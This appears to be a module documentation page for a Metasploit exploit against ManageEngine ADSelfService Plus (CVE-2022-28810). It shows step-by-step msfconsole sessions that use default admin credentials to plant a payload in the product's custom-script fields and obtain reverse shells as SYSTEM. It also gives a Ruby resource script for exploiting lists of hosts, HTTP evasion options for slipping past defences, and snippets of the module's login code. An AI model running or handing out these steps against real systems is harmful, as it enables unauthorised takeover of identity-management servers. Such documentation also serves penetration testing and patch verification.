ManageEngine ADSelfService Plus Custom Script Execution - Metasploit
This page contains detailed information about how to use the exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810 metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
- Module Overview
- Knowledge Base
- Vulnerable Application
- Verification Steps
- Options
- TARGET_RESET
- Scenarios
- Successful exploitation of ADSelfService Plus 6121 on Windows 10 over HTTP
- Failed log in
- Failed exploitation of patched ADSelfService Plus build 6122
- Successful exploitation of ADSelfService Plus 6121 on Windows 10 over HTTPs (9251 is default when configured)
- Successful exploitation of ADSelfService Plus 6121 on Windows 10 over HTTP for a powershell reverse shell
- Msfconsole Usage
- Error Messages
- Related Pull Requests
- References
- See Also
- Authors
- Version
Module Overview
Name: ManageEngine ADSelfService Plus Custom Script Execution
Module: exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810
Source code: modules/exploits/windows/http/manageengine_adselfservice_plus_cve_2022_28810.rb
Disclosure date: 2022-04-09
Last modification time: 2022-04-20 15:22:07 +0000
Supported architecture(s): cmd
Supported platform(s): Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2022-28810
This module exploits the "custom script" feature of ADSelfService Plus. The feature was removed in build 6122 as part of the patch for CVE-2022-28810. For purposes of this module, a "custom script" is arbitrary operating system command execution. This module uses an attacker provided "admin" account to insert the malicious payload into the custom script fields. When a user resets their password or unlocks their account, the payload in the custom script will be executed. The payload will be executed as SYSTEM if ADSelfService Plus is installed as a service, which we believe is the normal operational behavior. This is a passive module because user interaction is required to trigger the payload. This module also does not automatically remove the malicious code from the remote target. Use the "TARGET_RESET" operation to remove the malicious custom script when you are done. ADSelfService Plus uses default credentials of "admin":"admin"
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
Using manageengine_adselfservice_plus_cve_2022_28810 against a single host
Normally, you can use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810 this way:
msf > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810
msf exploit(manageengine_adselfservice_plus_cve_2022_28810) > show targets
... a list of targets ...
msf exploit(manageengine_adselfservice_plus_cve_2022_28810) > set TARGET target-id
msf exploit(manageengine_adselfservice_plus_cve_2022_28810) > show options
... show and set options ...
msf exploit(manageengine_adselfservice_plus_cve_2022_28810) > exploit
Using manageengine_adselfservice_plus_cve_2022_28810 against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your manageengine_adselfservice_plus_cve_2022_28810 will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
Description
This module exploits the "custom script" feature of ADSelfService Plus. The feature was removed in build 6122 as part of the patch for CVE-2022-28810. For purposes of this module, a "custom script" is arbitrary operating system command execution.
This module uses an attacker provided "admin" account to insert the malicious payload into the custom script fields. When a user resets their password or unlocks their account, the payload in the custom script will be executed. The payload will be executed as SYSTEM if ADSelfService Plus is installed as a service, which we believe is the normal operational behavior.
This is a passive module because user interaction is required to trigger the payload. This module also does not automatically remove the malicious code from the remote target. Use the "TARGET_RESET" operation to remove the malicious custom script when you are done.
ADSelfService Plus uses default credentials of "admin":"admin"
Setup
Follow the Getting Started guide. You will need an AD environment and at least two accounts: an AD admin for ADSelfService Plus and a test account to enroll in the service. The service runs on Windows (any it seems - I tested on Windows 10), so you'll need that.
- Prepare a Windows environment to install on.
- Download ManageEngine_ADSelfService_Plus_64bit.exe build 6121
- Run the installer (skip registeration). Do not "Start ADSelfService Plus in console mode".
- Run the service installer (start menu -> "Install ADSelfService Plus as Service")
- Start the service (services -> "ManageEngine ADSelfService Plus")
- Nagivate to the web server: http://localhost:8888 (may take a few minutes to load)
- Log in as "admin" (password: admin)
- Connect the AD DC: enter the domain name and hit discover. Provide credentials when prompted.
- Enroll users via "Configuration" -> "Administration Tools" -> "Quick Enrollment" -> "Import Users from CSV". Download the "sample.csv, edit it with your test user and upload it." Also use "Import" -> "Answer" in the drop down.
- Logout from the admin account and log in as the newly enrolled user to configure the secret question responses. Once completed the test user should be fully enrolled and ready for hax.
- You may need to open up port 8888 on the firewall. I've encountered ADSSP forgetting to do so.
Verification Steps
- Follow setup steps above.
- Do:
use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810
- Do:
set RHOST <ip>
- Do:
set LHOST <ip>
- Do:
check
- Verify the remote host is vulnerable.
- Do:
run
- Verify the module is waiting for a reverse TCP connection
- Navigate to the ADSelfService Plus web UI and reset your test users password.
- After a new password has been set verify the module received a reverse shell.
- Exit the shell
- Do
set TARGET_RESET true
- Do
run
- Navigate to the ADSelfService Plus web UI, log in as admin, and verify that the custom scripts have been removed and disabled ("Configuration" -> "Self Service" -> "Policy Configuration" -> "Advanced" -> "Password Sync")
Options
USERNAME
The ManageEngine ADSelfService Plus administrator's username ("admin" by default).
PASSWORD
The ManageEngine ADSelfService Plus administrator's password ("admin" by default).
TARGET_RESET
If set to true, instead of dropping a payload into the custom scripts fields, the module will disable custom scripts and clear the custom scripts field. If set to false, the module will enable custom scripts and insert the configured payload.
Scenarios
Successful exploitation of ADSelfService Plus 6121 on Windows 10 over HTTP
msf6 > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810
[*] Using configured payload cmd/windows/jjs_reverse_tcp
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOST 10.0.0.20
RHOST => 10.0.0.20
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > check
[*] 10.0.0.20:8888 - The target appears to be vulnerable. This determination is based on the version string: 6121.
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run
[*] Exploit running as background job 0.
[*] Running automatic check ("set AutoCheck false" to disable)
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [+] The target appears to be vulnerable. This determination is based on the version string: 6121.
[+] Authentication successful
[*] Requesting policy list from /ServletAPI/configuration/policyConfig/getPolicyConfigDetails
[*] Requesting policy details for okhuman.ninja
[*] Enabling custom scripts and inserting the payload
[*] Posting updated policy configuration to /ServletAPI/configuration/policyConfig/setAPCDetails
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.0.0.2:4444
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) >
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) >
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.20:49940 ) at 2022-04-19 08:47:28 -0700
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > sessions 1
[*] Starting interaction with 1...
Shell Banner:
M
-----
C:\ManageEngine\ADSelfService Plus\bin>whoami
whoami
nt authority\system
Failed log in
sf6 > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810
[*] Using configured payload cmd/windows/jjs_reverse_tcp
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOST 10.0.0.20
RHOST => 10.0.0.20
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set PASSWORD lolwat
PASSWORD => lolwat
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run
[*] Exploit running as background job 0.
[*] Running automatic check ("set AutoCheck false" to disable)
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [+] The target appears to be vulnerable. This determination is based on the version string: 6121.
[-] Exploit aborted due to failure: no-access: Log in attempt failed
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) >
Failed exploitation of patched ADSelfService Plus build 6122
msf6 > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810
[*] Using configured payload cmd/windows/jjs_reverse_tcp
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOST 10.0.0.16
RHOST => 10.0.0.16
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run
[*] Exploit running as background job 0.
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [*] Running automatic check ("set AutoCheck false" to disable)
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. This determination is based on the version string: 6122. "set ForceExploit true" to override check result.
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) >
Successful exploitation of ADSelfService Plus 6121 on Windows 10 over HTTPs (9251 is default when configured)
msf6 > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810
[*] Using configured payload cmd/windows/jjs_reverse_tcp
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RPORT 9251
RPORT => 9251
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOST 10.0.0.20
RHOST => 10.0.0.20
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > check
[*] 10.0.0.20:9251 - The target appears to be vulnerable. This determination is based on the version string: 6121.
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run
[*] Exploit running as background job 0.
[*] Running automatic check ("set AutoCheck false" to disable)
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [+] The target appears to be vulnerable. This determination is based on the version string: 6121.
[+] Authentication successful
[*] Requesting policy list from /ServletAPI/configuration/policyConfig/getPolicyConfigDetails
[*] Requesting policy details for okhuman.ninja
[*] Enabling custom scripts and inserting the payload
[*] Posting updated policy configuration to /ServletAPI/configuration/policyConfig/setAPCDetails
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.0.0.2:4444
[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.20:50035 ) at 2022-04-19 09:10:37 -0700
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > sessions 1
[*] Starting interaction with 1...
Shell Banner:
Microsoft
-----
C:\ManageEngine\ADSelfService Plus\bin>whoami
whoami
nt authority\system
Successful exploitation of ADSelfService Plus 6121 on Windows 10 over HTTP for a powershell reverse shell
msf6 > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810
[*] Using configured payload cmd/windows/jjs_reverse_tcp
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set RHOST 10.0.0.20
RHOST => 10.0.0.20
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > set SHELL powershell.exe
SHELL => powershell.exe
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run
[*] Exploit running as background job 0.
[*] Running automatic check ("set AutoCheck false" to disable)
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [-] Exploit aborted due to failure: unknown: Cannot reliably check exploitability. The target failed to respond to check. "set ForceExploit true" to override check result.
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > run
[*] Exploit running as background job 1.
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. This determination is based on the version string: 6121.
[+] Authentication successful
[*] Requesting policy list from /ServletAPI/configuration/policyConfig/getPolicyConfigDetails
[*] Requesting policy details for okhuman.ninja
[*] Enabling custom scripts and inserting the payload
[*] Posting updated policy configuration to /ServletAPI/configuration/policyConfig/setAPCDetails
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.0.0.2:4444
[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.20:50060 ) at 2022-04-19 10:15:20 -0700
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > sessions 1
[*] Starting interaction with 1...
PS C:\ManageEngine\ADSelfService Plus\bin> id
id
id : The term 'id' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the
spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ id
+ ~~
+ CategoryInfo : ObjectNotFound: (id:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\ManageEngine\ADSelfService Plus\bin> whoami
whoami
nt authority\system
PS C:\ManageEngine\ADSelfService Plus\bin>
Go back to menu.
Msfconsole Usage
Here is how the windows/http/manageengine_adselfservice_plus_cve_2022_28810 exploit module looks in the msfconsole:
msf6 > use exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810
[*] Using configured payload cmd/windows/jjs_reverse_tcp
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > show info
Name: ManageEngine ADSelfService Plus Custom Script Execution
Module: exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810
Platform: Windows
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2022-04-09
Provided by:
Jake Baines
Hernan Diaz
Andrew Iwamaye
Dan Kelley
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Windows Command
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin yes The administrator user's password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8888 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path traversal for auth bypass
TARGET_RESET false yes On the target, disables custom scripts and clears custom script field
USERNAME admin yes The administrator username
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits the "custom script" feature of ADSelfService
Plus. The feature was removed in build 6122 as part of the patch for
CVE-2022-28810. For purposes of this module, a "custom script" is
arbitrary operating system command execution. This module uses an
attacker provided "admin" account to insert the malicious payload
into the custom script fields. When a user resets their password or
unlocks their account, the payload in the custom script will be
executed. The payload will be executed as SYSTEM if ADSelfService
Plus is installed as a service, which we believe is the normal
operational behavior. This is a passive module because user
interaction is required to trigger the payload. This module also
does not automatically remove the malicious code from the remote
target. Use the "TARGET_RESET" operation to remove the malicious
custom script when you are done. ADSelfService Plus uses default
credentials of "admin":"admin"
References:
https://nvd.nist.gov/vuln/detail/CVE-2022-28810
https://www.manageengine.com/products/self-service-password/kb/cve-2022-28810.html
https://www.rapid7.com/blog/post/2022/04/14/cve-2022-28810-manageengine-adselfservice-plus-authenticated-command-execution-fixed/
Module Options
This is a complete list of options available in the windows/http/manageengine_adselfservice_plus_cve_2022_28810 exploit:
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > show options
Module options (exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD admin yes The administrator user's password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8888 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path traversal for auth bypass
TARGET_RESET false yes On the target, disables custom scripts and clears custom script field
USERNAME admin yes The administrator username
VHOST no HTTP server virtual host
Payload options (cmd/windows/jjs_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
JJS_PATH ..\jre\bin\jjs.exe yes The path to JJS.
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL cmd.exe yes The shell to execute.
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Windows Command
Advanced Options
Here is a complete list of advanced options supported by the windows/http/manageengine_adselfservice_plus_cve_2022_28810 exploit:
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > show advanced
Module advanced options (exploit/windows/http/manageengine_adselfservice_plus_cve_2022_28810):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non
-IIS servers
DisablePayloadHandler true no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto
-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/5.0 (Macintosh; Intel Mac OS X no The User-Agent header to use for all requests
12.2; rv:97.0) Gecko/20100101 Firefox/9
7.0
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (cmd/windows/jjs_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but d
irectly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/http/manageengine_adselfservice_plus_cve_2022_28810 module can exploit:
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > show targets
Exploit targets:
Id Name
-- ----
0 Windows Command
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/http/manageengine_adselfservice_plus_cve_2022_28810 exploit:
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/windows/adduser normal No Windows Execute net user /ADD CMD
1 payload/cmd/windows/bind_lua normal No Windows Command Shell, Bind TCP (via Lua)
2 payload/cmd/windows/bind_perl normal No Windows Command Shell, Bind TCP (via Perl)
3 payload/cmd/windows/bind_perl_ipv6 normal No Windows Command Shell, Bind TCP (via perl) IPv6
4 payload/cmd/windows/bind_ruby normal No Windows Command Shell, Bind TCP (via Ruby)
5 payload/cmd/windows/download_eval_vbs normal No Windows Executable Download and Evaluate VBS
6 payload/cmd/windows/download_exec_vbs normal No Windows Executable Download and Execute (via .vbs)
7 payload/cmd/windows/generic normal No Windows Command, Generic Command Execution
8 payload/cmd/windows/jjs_reverse_tcp normal No Windows Shell, Reverse TCP (via jjs)
9 payload/cmd/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
10 payload/cmd/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
11 payload/cmd/windows/powershell_reverse_tcp_ssl normal No Windows Interactive Powershell Session, Reverse TCP SSL
12 payload/cmd/windows/reverse_lua normal No Windows Command Shell, Reverse TCP (via Lua)
13 payload/cmd/windows/reverse_perl normal No Windows Command, Double Reverse TCP Connection (via Perl)
14 payload/cmd/windows/reverse_powershell normal No Windows Command Shell, Reverse TCP (via Powershell)
15 payload/cmd/windows/reverse_ruby normal No Windows Command Shell, Reverse TCP (via Ruby)
16 payload/generic/custom normal No Custom Payload
17 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
18 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
19 payload/generic/ssh/interact normal No Interact with Established SSH Connection
Evasion Options
Here is the full list of possible evasion options supported by the windows/http/manageengine_adselfservice_plus_cve_2022_28810 exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/http/manageengine_adselfservice_plus_cve_2022_28810) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-no
rmal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- The target failed to respond to check.
- Failed to retrieve /selfservice/index.html
- Could not extract a version number
- This determination is based on the version string: <VER>.
- This determination is based on the version string: <VER>.
- The target did not respond
- Failed to grab a CSRF token
- Failed to grab a CSRF token
- Log in attempt failed
- Log in attempt failed
- Log in attempt failed
- Failed to grab a CSRF token
- Failed to grab a CSRF token
- Log in attempt failed
- The target didn't return a JSON body
- The target didn't have any configured policies
- Policy details missing name or id
- Acquiring specific policy details failed
- The target didn't return a JSON body
- The target didn't contain the expected JSON
- Policy update request failed
- Failed to start exploit/multi/handler on <LPORT>, it may be in use by another process.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
The target failed to respond to check.
Here is a relevant code snippet related to the "The target failed to respond to check." error message:
90: # for the check function. We can extract the version (or build) from selfservice/index.html.
91: ##
92: def check
93: res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/selfservice/index.html'))
94: unless res
95: return CheckCode::Unknown('The target failed to respond to check.')
96: end
97:
98: unless res.code == 200
99: return CheckCode::Safe('Failed to retrieve /selfservice/index.html')
100: end
Failed to retrieve /selfservice/index.html
Here is a relevant code snippet related to the "Failed to retrieve /selfservice/index.html" error message:
94: unless res
95: return CheckCode::Unknown('The target failed to respond to check.')
96: end
97:
98: unless res.code == 200
99: return CheckCode::Safe('Failed to retrieve /selfservice/index.html')
100: end
101:
102: ver = res.body[/\.css\?buildNo=(?<build_id>[0-9]+)/, :build_id]
103: if ver.nil?
104: return CheckCode::Safe('Could not extract a version number')
Could not extract a version number
Here is a relevant code snippet related to the "Could not extract a version number" error message:
99: return CheckCode::Safe('Failed to retrieve /selfservice/index.html')
100: end
101:
102: ver = res.body[/\.css\?buildNo=(?<build_id>[0-9]+)/, :build_id]
103: if ver.nil?
104: return CheckCode::Safe('Could not extract a version number')
105: end
106:
107: if Rex::Version.new(ver) < Rex::Version.new('6122')
108: return CheckCode::Appears("This determination is based on the version string: #{ver}.")
109: end
This determination is based on the version string: <VER>.
Here is a relevant code snippet related to the "This determination is based on the version string: <VER>." error message:
103: if ver.nil?
104: return CheckCode::Safe('Could not extract a version number')
105: end
106:
107: if Rex::Version.new(ver) < Rex::Version.new('6122')
108: return CheckCode::Appears("This determination is based on the version string: #{ver}.")
109: end
110:
111: CheckCode::Safe("This determination is based on the version string: #{ver}.")
112: end
113:
This determination is based on the version string: <VER>.
Here is a relevant code snippet related to the "This determination is based on the version string: <VER>." error message:
106:
107: if Rex::Version.new(ver) < Rex::Version.new('6122')
108: return CheckCode::Appears("This determination is based on the version string: #{ver}.")
109: end
110:
111: CheckCode::Safe("This determination is based on the version string: #{ver}.")
112: end
113:
114: ##
115: # Authenticate with the remote target. Login requires four steps:
116: #
The target did not respond
Here is a relevant code snippet related to the "The target did not respond" error message:
122: # @return a new CSRF token to use with authenticated requests
123: ##
124: def authenticate
125: # grab a CSRF token from the index
126: res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do') })
127: fail_with(Failure::Unreachable, 'The target did not respond') unless res
128: fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['HttpOnly, adscsrf'].empty?
129: csrf_tok = res.get_cookies_parsed['HttpOnly, adscsrf'].to_s[/HttpOnly, adscsrf=(?<token>[0-9a-f-]+); path=/, :token]
130: fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok
131:
132: # send the first login request to get the ssp token
Failed to grab a CSRF token
Here is a relevant code snippet related to the "Failed to grab a CSRF token" error message:
123: ##
124: def authenticate
125: # grab a CSRF token from the index
126: res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do') })
127: fail_with(Failure::Unreachable, 'The target did not respond') unless res
128: fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['HttpOnly, adscsrf'].empty?
129: csrf_tok = res.get_cookies_parsed['HttpOnly, adscsrf'].to_s[/HttpOnly, adscsrf=(?<token>[0-9a-f-]+); path=/, :token]
